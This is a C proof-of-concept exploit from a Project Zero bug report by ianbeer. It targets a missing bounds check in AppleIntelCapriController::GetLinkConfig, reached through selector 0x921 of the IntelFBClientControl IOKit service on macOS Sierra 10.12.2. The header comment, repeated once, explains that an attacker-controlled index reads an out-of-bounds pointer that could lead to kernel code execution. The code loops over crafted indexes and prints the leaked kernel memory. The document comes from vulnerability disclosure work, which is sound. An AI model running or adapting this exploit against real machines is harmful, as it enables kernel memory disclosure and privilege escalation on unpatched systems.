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/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_exec capri_exec.c -framework IOKit
#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x921,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
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